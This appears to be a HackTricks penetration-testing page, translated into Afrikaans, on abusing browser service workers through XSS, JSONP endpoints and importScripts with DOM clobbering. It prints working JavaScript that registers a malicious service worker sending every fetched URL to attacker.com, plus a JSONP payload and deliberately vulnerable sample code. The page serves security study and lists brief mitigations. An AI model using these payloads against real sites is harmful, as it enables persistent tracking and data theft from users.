Abusing Service Workers

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Probeer Hard Security Group


Basiese Inligting

'n Dienswerker is 'n skrip wat deur jou blaaier in die agtergrond uitgevoer word, afsonderlik van enige webbladsy, wat funksies moontlik maak wat nie 'n webbladsy of gebruikerinteraksie benodig nie, en sodoende aflyn- en agtergrondverwerking-vermoëns verbeter. Gedetailleerde inligting oor dienswerkers is beskikbaar hier. Deur dienswerkers binne 'n kwesbare webdomein te misbruik, kan aanvallers beheer verkry oor die slagoffers se interaksies met alle bladsye binne daardie domein.

Kontroleer vir Bestaande Dienswerkers

Bestaande dienswerkers kan nagegaan word in die Dienswerkers-afdeling van die Aansoek-tabblad in die Ontwikkelaarhulpmiddels. 'n Ander metode is om chrome://serviceworker-internals te besoek vir 'n meer gedetailleerde aansig.

Duw Kennisgewings

Duw kennisgewings-toestemmings het direk 'n impak op 'n dienswerker se vermoë om met die bediener te kommunikeer sonder direkte gebruikerinteraksie. As toestemmings ontken word, beperk dit die dienswerker se potensiaal om 'n voortdurende bedreiging te vorm. Daarteenoor verhoog die toekenning van toestemmings die veiligheidsrisiko deur die ontvangs en uitvoering van potensiële aanvalle moontlik te maak.

Aanval deur 'n Dienswerker te Skep

Om hierdie kwesbaarheid uit te buit, moet jy vind:

  • 'n manier om willekeurige JS-lêers na die bediener te laai en 'n XSS om die dienswerker van die gelaai JS-lêer te laai

  • 'n kwesbare JSONP-versoek waar jy die uitset kan manipuleer (met willekeurige JS-kode) en 'n XSS om die JSONP met 'n lading te laai wat 'n skadelike dienswerker sal laai.

In die volgende voorbeeld gaan ek 'n kode voorstel om 'n nuwe dienswerker te registreer wat na die fetch-gebeurtenis sal luister en sal elke opgehaalde URL na die aanvallers se bediener stuur (dit is die kode wat jy nodig het om na die bediener te laai of te laai via 'n kwesbare JSONP-antwoord):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

En hierdie is die kode wat die werker sal registreer (die kode wat jy moet kan uitvoer deur 'n XSS te misbruik). In hierdie geval sal 'n GET versoek gestuur word na die aanvallers bediener om te meld of die registrasie van die dienswerker suksesvol was of nie:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

In geval van misbruik van 'n kwesbare JSONP-eindpunt moet jy die waarde binne var sw plaas. Byvoorbeeld:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

Daar is 'n C2 toegewy aan die uitbuiting van Dienswerkers genaamd Shadow Workers wat baie nuttig sal wees om hierdie kwesbaarhede te misbruik.

Die 24-uur cache riglyn beperk die leeftyd van 'n skadelike of gekompromitteerde dienswerker (SW) tot hoogstens 24 uur na 'n XSS kwesbaarheidsherstel, mits die kliënt aanlyn is. Om die kwesbaarheid te verminder, kan webwerf-operateurs die SW-skrips se Tyd-Tot-Leef (TTL) verlaag. Ontwikkelaars word ook aangeraai om 'n dienswerker-kill-schakelaar te skep vir vinnige deaktivering.

Misbruik van importScripts in 'n SW via DOM Clobbering

Die funksie importScripts wat vanaf 'n Dienswerker geroep word, kan 'n skrips van 'n ander domein importe. As hierdie funksie geroep word met 'n parameter wat 'n aanvaller sou kon wysig, sou hy in staat wees om 'n JS-skrips van sy domein te importe en XSS te kry.

Dit verbygaan selfs CSP-beskerming.

Voorbeeld van kwesbare kode:

  • index.html

<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
  • sw.js

const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

Met DOM Clobbering

Vir meer inligting oor wat DOM Clobbering is, kyk:

pageDom Clobbering

As die URL/domein waar die SW gebruik om importScripts te roep binne 'n HTML-element is, is dit moontlik om dit te wysig deur middel van DOM Clobbering om die SW 'n skrip van jou eie domein te laat laai.

Vir 'n voorbeeld hiervan, kyk na die verwysingskakel.

Verwysings

Try Hard Security Group

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Last updated